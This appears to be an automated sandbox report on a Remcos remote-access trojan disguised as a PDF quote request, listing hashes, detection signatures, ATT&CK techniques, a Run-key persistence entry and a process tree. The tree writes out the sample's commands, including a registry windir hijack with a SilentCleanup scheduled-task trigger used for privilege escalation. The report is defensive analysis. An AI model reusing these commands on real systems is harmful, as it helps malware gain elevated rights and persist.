remcos | f26f9e3fccab0e855f132f00715cfdbaa9efbbc923fc702961d826987d7c15aa

Analysis

max time kernel
150s
max time network
150s
platform
windows10_x64
resource
win10-en-20211104
submitted
10/11/2021, 09:46

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General

Target
Urgent quote request,pdf.exe
Size 838KB
Sample211110-lrmgqadhcp
SHA256 f26f9e3fccab0e855f132f00715cfdbaa9efbbc923fc702961d826987d7c15aa
MD5 6dd19a01d9722cbe68096b22abd0bc09
SHA1 51fb349f2acf8c4764508d4a3de70ae4f67baef1
SHA512 204861a4c44243249e76a050d9769c10cce81c17679f41c3aed56c12ebf11455910932174285853d3c789bf2d21c84ad98cf667954ef659c94e7972b599df5e3
MD5 SHA1 SHA512

Score

10^/10

remcos persistence rat suricata

Malware Config

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
suricata: ET MALWARE Remocs 3.x Unencrypted Checkin
suricata: ET MALWARE Remocs 3.x Unencrypted Checkin
suricata
suricata: ET MALWARE Remocs 3.x Unencrypted Server Response
suricata: ET MALWARE Remocs 3.x Unencrypted Server Response
suricata

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows\CurrentVersion\Run\Hoaocvvu = "C:\\Users\\Public\\uvvcoaoH.url"	Urgent quote request,pdf.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
3976	reg.exe
2172	reg.exe
1084	reg.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 852	2576	Urgent quote request,pdf.exe	69
PID 2576 wrote to memory of 2208	2576	Urgent quote request,pdf.exe	70
PID 2576 wrote to memory of 2208	2576	Urgent quote request,pdf.exe	70
PID 2576 wrote to memory of 2208	2576	Urgent quote request,pdf.exe	70
PID 2208 wrote to memory of 416	2208	cmd.exe	72
PID 2208 wrote to memory of 416	2208	cmd.exe	72
PID 2208 wrote to memory of 416	2208	cmd.exe	72
PID 416 wrote to memory of 3976	416	cmd.exe	74
PID 416 wrote to memory of 3976	416	cmd.exe	74
PID 416 wrote to memory of 3976	416	cmd.exe	74
PID 416 wrote to memory of 2172	416	cmd.exe	75
PID 416 wrote to memory of 2172	416	cmd.exe	75
PID 416 wrote to memory of 2172	416	cmd.exe	75
PID 416 wrote to memory of 3052	416	cmd.exe	76
PID 416 wrote to memory of 3052	416	cmd.exe	76
PID 416 wrote to memory of 3052	416	cmd.exe	76
PID 2576 wrote to memory of 1360	2576	Urgent quote request,pdf.exe	77
PID 2576 wrote to memory of 1360	2576	Urgent quote request,pdf.exe	77
PID 2576 wrote to memory of 1360	2576	Urgent quote request,pdf.exe	77
PID 1360 wrote to memory of 1084	1360	cmd.exe	79
PID 1360 wrote to memory of 1084	1360	cmd.exe	79
PID 1360 wrote to memory of 1084	1360	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\Urgent quote request,pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Urgent quote request,pdf.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2576
- C:\Windows\SysWOW64\DpiScaling.exe
  C:\Windows\System32\DpiScaling.exe
  2⤵
  PID:852
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Trast.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:416
  - - C:\Windows\SysWOW64\reg.exe
      reg delete hkcu\Environment /v windir /f
      4⤵
      Modifies registry key
      PID:3976
  - - C:\Windows\SysWOW64\reg.exe
      reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      4⤵
      Modifies registry key
      PID:2172
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      4⤵
      PID:3052
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\nest.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\SysWOW64\reg.exe
    reg delete hkcu\Environment /v windir /f
    3⤵
    - Modifies registry key
    PID:1084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/852-130-0x0000000003120000-0x0000000003121000-memory.dmp

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memory/852-132-0x0000000000400000-0x0000000000479000-memory.dmp

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memory/852-131-0x0000000072600000-0x000000007267C000-memory.dmp

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memory/852-128-0x00000000030C0000-0x00000000030C1000-memory.dmp

Download

memory/852-129-0x0000000003000000-0x0000000003001000-memory.dmp

Download

memory/2576-118-0x00000000004E0000-0x000000000058E000-memory.dmp

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memory/2576-119-0x0000000002331000-0x0000000002345000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads